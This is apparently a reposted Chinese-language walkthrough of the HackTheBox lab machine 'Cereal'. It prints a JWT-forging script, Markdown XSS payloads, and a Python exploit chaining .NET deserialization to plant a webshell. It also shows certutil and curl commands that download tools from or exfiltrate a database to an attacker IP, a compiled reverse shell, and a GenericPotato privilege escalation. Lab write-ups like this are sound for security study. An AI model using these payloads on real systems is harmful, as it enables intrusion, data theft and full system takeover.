[Meachines] [Hard] Cereal Git+JWT+.NET+ysoserial+Markdown-XSS+SeImpersonatePrivilege+GraphQL
文章描述了一次针对IP地址`10.10.10.217`的渗透测试过程。通过扫描发现开放端口`22、80、443`并识别服务版本。利用Git仓库信息收集敏感数据,并通过XSS漏洞和反序列化漏洞实现代码执行和权限提升至SYSTEM级别。 2025-9-14 13:28:37 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

IP AddressOpening Ports
10.10.10.217TCP:22,80,443

$ ip='10.10.10.217'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
|_ssl-date: 2021-03-11T21:24:06+00:00; +2m38s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

# echo '10.10.10.217 cereal.htb source.cereal.htb'>>/etc/hosts

image-1.png

image.png

$ feroxbuster -u 'https://source.cereal.htb/' -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -s 200,204,301,302,307,308,401,403,405

image-2.png

https://raw.githubusercontent.com/internetwache/GitTools/refs/heads/master/Dumper/gitdumper.sh

$ ./gitdumper.sh http://source.cereal.htb/.git/ RES/

$ git status

On branch master                                                                  
Changes not staged for commit:                                                          
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    .gitignore
        deleted:    ApplicationOptions.cs
        deleted:    Cereal.csproj
        deleted:    CerealContext.cs
        deleted:    ClientApp/.gitignore
        deleted:    ClientApp/README.md
        deleted:    ClientApp/package-lock.json
        deleted:    ClientApp/package.json
        deleted:    ClientApp/public/FuturaStd-Bold.woff
        deleted:    ClientApp/public/favicon.ico
        deleted:    ClientApp/public/index.html
        deleted:    ClientApp/public/logo192.png
        deleted:    ClientApp/public/logo512.png
        deleted:    ClientApp/public/manifest.json
        deleted:    ClientApp/public/robots.txt
        deleted:    ClientApp/public/spoon.png
        deleted:    ClientApp/src/AdminPage/AdminPage.jsx
        deleted:    ClientApp/src/AdminPage/index.js
        deleted:    ClientApp/src/App/App.css
        deleted:    ClientApp/src/App/App.jsx
        deleted:    ClientApp/src/App/index.js
        deleted:    ClientApp/src/HomePage/HomePage.jsx
        deleted:    ClientApp/src/HomePage/index.js
        deleted:    ClientApp/src/LoginPage/LoginPage.jsx
        deleted:    ClientApp/src/LoginPage/index.js
        deleted:    ClientApp/src/_components/PrivateRoute.jsx
        deleted:    ClientApp/src/_components/index.js
        deleted:    ClientApp/src/_helpers/auth-header.js
        deleted:    ClientApp/src/_helpers/handle-response.js
        deleted:    ClientApp/src/_helpers/history.js
        deleted:    ClientApp/src/_helpers/index.js
        deleted:    ClientApp/src/_services/authentication.service.js
        deleted:    ClientApp/src/_services/index.js
        deleted:    ClientApp/src/_services/request.service.js
        deleted:    ClientApp/src/index.jsx
        deleted:    Controllers/RequestsController.cs
        deleted:    Controllers/UsersController.cs
        deleted:    DownloadHelper.cs
        deleted:    ExtensionMethods.cs
        deleted:    IPAddressHandler.cs
        deleted:    IPRequirement.cs
        deleted:    Migrations/20191105055735_InitialCreate.Designer.cs
        deleted:    Migrations/20191105055735_InitialCreate.cs
        deleted:    Migrations/CerealContextModelSnapshot.cs
        deleted:    Models/AuthenticateModel.cs
        deleted:    Models/CerealModel.cs
        deleted:    Models/Request.cs
        deleted:    Models/User.cs
        deleted:    Pages/Error.cshtml
        deleted:    Pages/Error.cshtml.cs
        deleted:    Pages/_ViewImports.cshtml
        deleted:    Program.cs
        deleted:    Properties/launchSettings.json
        deleted:    Services/UserService.cs
        deleted:    Startup.cs
        deleted:    appsettings.Development.json
        deleted:    appsettings.json

恢復檔案

$ git log --oneline --graph --decorate --all

* 34b6823 (HEAD -> master) Some changes
* 3a23ffe Image updates
* 7bd9533 Security fixes
* 8f2a1a8 CEREAL!!

$ git reset --hard 7bd9533

image-3.png

$ grep -iR 'Username or password is incorrect'

image-4.png

Controllers/UsersController.cs:

using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Authorization;
using System.Linq;
using Cereal.Models;
using Cereal.Services;

namespace Cereal.Controllers
{
    [Authorize]
    [ApiController]
    [Route("[controller]")]
    public class UsersController : ControllerBase
    {
        private IUserService _userService;

        public UsersController(IUserService userService)
        {
            _userService = userService;
        }

        [AllowAnonymous]
        [HttpPost("authenticate")]
        public IActionResult Authenticate([FromBody]AuthenticateModel model)
        {
            var user = _userService.Authenticate(model.Username, model.Password);

            if (user == null)
                return BadRequest(new { message = "Username or password is incorrect" });

            return Ok(user);
        }
    }
}

這個控制器的路由是 [Route("[controller]")] → 即路徑名會是 Users
Authenticate 方法標記了 [HttpPost("authenticate")],所以 API 的實際路徑是:POST /Users/authenticate

Services/UserService.cs

using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.Extensions.Options;
using Microsoft.IdentityModel.Tokens;
using Cereal.Models;
using Cereal.Helpers;

namespace Cereal.Services
{
    public interface IUserService
    {
        User Authenticate(string username, string password);
    }

    public class UserService : IUserService
    {
         public User Authenticate(string username, string password)
        {
            using (var db = new CerealContext())
            {
                var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();

                // return null if user not found
                if (user == null)
                    return null;

                // authentication successful so generate jwt token
                var tokenHandler = new JwtSecurityTokenHandler();
                var key = Encoding.ASCII.GetBytes("****");
                var tokenDescriptor = new SecurityTokenDescriptor
                {
                    Subject = new ClaimsIdentity(new Claim[]
                    {
                        new Claim(ClaimTypes.Name, user.UserId.ToString())
                    }),
                    Expires = DateTime.UtcNow.AddDays(7),
                    SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
                };
                var token = tokenHandler.CreateToken(tokenDescriptor);
                user.Token = tokenHandler.WriteToken(token);

                return user.WithoutPassword();
            }
        }
    }
}

JwtSecurityTokenHandler → 用來生成和寫出 JWT
key → 對稱密鑰,用來簽名 JWT
ClaimsIdentity → JWT 裡的 payload 資訊,這裡只放了 Name = user.UserId
Expires → 7 天後過期
SigningCredentials → 用對稱密鑰 + HMAC SHA256 簽名

image-5.png

這裏我們字段可以自定義,最後的payload看起來像

jwt.encode(
    {'<ANY>': "<USER-ID>", "exp": datetime.utcnow() + timedelta(days=7)}, 
    '<KEY>', 
    algorithm="HS256"
)

authentication.service.js

image-8.png

服務端返回的JWT保存到鍵名currentUser"TOKEN":"<JWT>"

image-6.png

注意這裏是存入localStorage;

localStorage 是瀏覽器提供的本地存儲機制,可以在使用者端永久保存資料(如 JWT 或使用者資訊),容量比 cookie 大、刷新或關閉瀏覽器也不會消失,前端可以隨時讀寫,適合用來維持登入狀態或存放需要長期保留的資料。

找到key。

$ git log -p

image-7.png

secretlhfIH&FY*#oysuflkhskjfhefesf

import jwt
from datetime import datetime, timedelta

payload = {
    "N": "1",
    "exp": datetime.utcnow() + timedelta(days=7)
}
secret = 'secretlhfIH&FY*#oysuflkhskjfhefesf'

token = jwt.encode(payload, secret, algorithm="HS256")
 
if isinstance(token, bytes):
    token = token.decode()

print("currentUser={\"token\":\"" + token+"\"}")

$ python gen.py

currentUser={"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOIjoiMSIsImV4cCI6MTc1ODQ0NDM0N30.9foWz5lyR3u4tvXYYa-dIHxs4ofByDjVWW9IjsboU_0"}

image-9.png

image-10.png

[Authorize(Policy = "RestrictIP")]

此 API 受授權限制,只有符合 RestrictIP 策略的 IP 才能訪問

[HttpGet("{id}")]

這是一個 GET 請求,URL 形如 /requests/123

image-11.png

白名單只能服務器的ip才允許利用反序列化

管理員頁面,似乎存在即時 Markdown 預覽器。客戶端可以上傳參數,控制頁面中的title,管理員查看后觸發XSS載荷。

<MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />

image-12.png

https://github.com/advisories/GHSA-m7qm-r2r5-f77q

特殊字元在 Markdown 中可能破壞格式,所以需要編碼;

POST /requests HTTP/2
Host: cereal.htb
Cookie: currentUser=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOIjoiMSIsImV4cCI6MTc1ODQ0Mzk1MH0.Kvq1rO3zFmKh4qLYwtUMb3Gv06OAzDg94Z9H_Y5UJhM
Content-Length: 103
Sec-Ch-Ua-Platform: "Linux"
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJOIjoiMSIsImV4cCI6MTc1ODQ0NDM0N30.9foWz5lyR3u4tvXYYa-dIHxs4ofByDjVWW9IjsboU_0
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://cereal.htb
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cereal.htb/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"json":"{\"title\":\"[XSS](javascript: document.write%28%27<img src=%22http://10.10.16.14/success%22 />%27%29)\",\"flavor\":\"bacon\",\"color\":\"#ffffff\",\"description\":\"123123\"}"}

image-13.png

DownloadHelper.cs

image-14.png

如果反序列化可以新建該對象,則可以讓服務器任意文件下載。

攻擊者請求request創建XSS載荷,和一個惡意序列化載荷項目
       │
       ▼
管理員Markdown-XSS觸發
       │
       ▼
管理員(處於ip白名單)自動請求惡意request/反序列化項目id
       │ 127.0.0.1
       ▼
新建下載對象 DownloadHelper
       │
       ▼
向子域名source/uploads下載惡意webshell

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

image-15.png

#!/usr/bin/env python3

import jwt
import requests
import sys
from datetime import datetime, timedelta
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

try:
    target = sys.argv[1]
    url = sys.argv[2]
    saveas = sys.argv[3]
except IndexError:
    print(f'Usage: {sys.argv[0]} [target ip/domain] [url to upload] [filename on target]')
    sys.exit()

print('[*] Forging JWT token')
token = jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}

print('[*] Sending DownloadHelper serialized object')
serial_payload = {"json": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'" + url + "','FilePath': 'C:\\\\inetpub\\\\source\\\\uploads\\\\" + saveas + "'}"} 
resp = requests.post(f'https://{target}/requests', json=serial_payload, headers=headers, verify=False)
if resp.status_code != 200:
    print(f'[-] Something went wrong: {resp.text}')
    sys.exit()
serial_id = resp.json()['id']
print(f'[+] Object uploaded: {resp.text}')

print('[*] Sending XSS payload')
xss_payload = {"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://"+ target + "/requests/" + str(serial_id)+"', true%29;xhr.setRequestHeader%28'Authorization','Bearer "+token+"'%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test\"}"}
resp = requests.post(f'https://{target}/requests', json=xss_payload, headers=headers, verify=False)
if resp.status_code != 200:
    print('[-] Something went wrong: {resp.text}')
    sys.exit()
print(f'[+] XSS payload sent: {resp.text}')

$ python3 exp.py cereal.htb http://10.10.16.14/shell.aspx shell.aspx

image-16.png

https://source.cereal.htb/uploads/21098374243-shell.aspx

image-18.png

你可能會疑惑,爲什麽會是21098374243開頭?

如果你還記得我們剛開始git項目后,切換到了securityfix節點,恢復的文件是歷史的,所以我們需要切換回最新的commit后再查看diff。

$ git log --oneline --graph --decorate --all

* 34b6823  Some changes
* 3a23ffe Image updates
* 7bd9533 Security fixes
* 8f2a1a8 CEREAL!!

$ git reset --hard 34b6823

$ git log -p -- DownloadHelper.cs

image-17.png

-                    wc.DownloadFile(_URL, _FilePath);
+                    wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));

image-19.png

https://github.com/MartinxMax/tolapi

將文件上傳到我們服務器

image-20.png

> curl.exe -X POST -F "[email protected]" "http://10.10.16.14:10831/upload_with_token/f8257f72fc38499eba024516a166b76d"

$ sqlite3 1757848142888.db

image-21.png

1|sonny|mutual.madden.manner38974|

$ ssh [email protected]

image-22.png

User.txt

00a4c544c44f9af49ae0141a845cdec5

$ whoami /priv

image-23.png

SeImpersonatePrivilege 允許程式冒充其他用戶執行操作。這在合法服務中很重要,但一旦被攻擊者拿到,就能利用各種「Potato 提權」手法直接升級到 SYSTEM。

PS C:\Users\sonny> netstat -ano|findstr 8080

PS C:\Users\sonny> Get-Process -Id 4 | Select-Object Id,ProcessName,StartInfo

image-30.png

幸運的是是system權限運行的

https://github.com/MartinxMax/KTOR

PS C:\ProgramData> certutil -urlcache -split -f "http://10.10.16.14:10831/download_with_token/80574e8e74344df7a41cdf966c8326b6" "ktorv2.ps1"

PS C:\ProgramData> .\ktorv2.ps1 -Local

image-24.png

$ ssh -L 10000:127.0.0.1:8080 [email protected]

http://127.0.0.1:10000/

image-25.png

image-26.png

查詢 GraphQL API

$ curl -d '{ "query": "{__schema{types{name,fields{name}}}}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json'

image-27.png

haltProduction → 停止生產(修改狀態)
resumeProduction → 恢復生產(修改狀態)
updatePlant → 更新工廠/設備資料(修改資料庫)

獲取詳細信息

$ curl -X POST http://127.0.0.1:10000/api/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{mutationType{fields{name,description,args{name,type{name,kind,ofType{name,kind}},defaultValue},type{name,kind}}}}}"}'|jq

image-28.png

haltProduction(int plantId)
resumeProduction(int plantId)
updatePlant(int plantId, float version, string sourceURL)

$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://10.10.16.14\")}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json' -s

image-29.png

GenericPotato竊取TOKEN

1.你在本地或內網開一個 HTTP listener(比如 Cereal 上的服務)。
2.透過 SSRF 漏洞,讓一個以 SYSTEM 運行的服務向你的 listener 發送 HTTP 請求。
3.GenericPotato 這類工具利用 Windows 的 COM/DCOM 或 Named Pipe 權限繞過 漏洞
它可以把 SYSTEM 進程的 token 「劫持/複製」。
4.利用這個 token,攻擊者就能以 SYSTEM 身份執行任意命令。

https://github.com/MartinxMax/Chameleon

修改reverse目錄中reverse_win.C的反向ip

image-32.png

$ x86_64-w64-mingw32-gcc reverse_win.c -o reverse_10.10.16.14_443.exe -lws2_32

image-33.png

上傳Chameleon和GenericPotato

image-34.png

PS C:\programdata> curl -o "GenericPotato.exe" "http://10.10.16.14:10831/download_with_token/a3fd1d7e6b4741bd8b1acd0d85526e93"

PS C:\programdata> certutil -urlcache -split -f "http://10.10.16.14:10831/download_with_token/5b8ed0bf0e08414cb961385a366acf3f" "reverse_10.10.16.14_443.exe"

PS C:\programdata> .\GenericPotato.exe -p "C:\programdata\reverse_10.10.16.14_443.exe" -e HTTP

$ curl -d '{ "query": "mutation{updatePlant(plantId:1, version: 223.0, sourceURL: \"http://localhost:8888\")}" }' -X POST http://127.0.0.1:10000/api/graphql -H 'Content-Type: application/json' -s

image-35.png

Root.txt

c1bb05cabcdb5cc6a67dd719c1dc67d6


文章来源: https://www.freebuf.com/articles/web/448579.html
如有侵权请联系:admin#unsafe.sh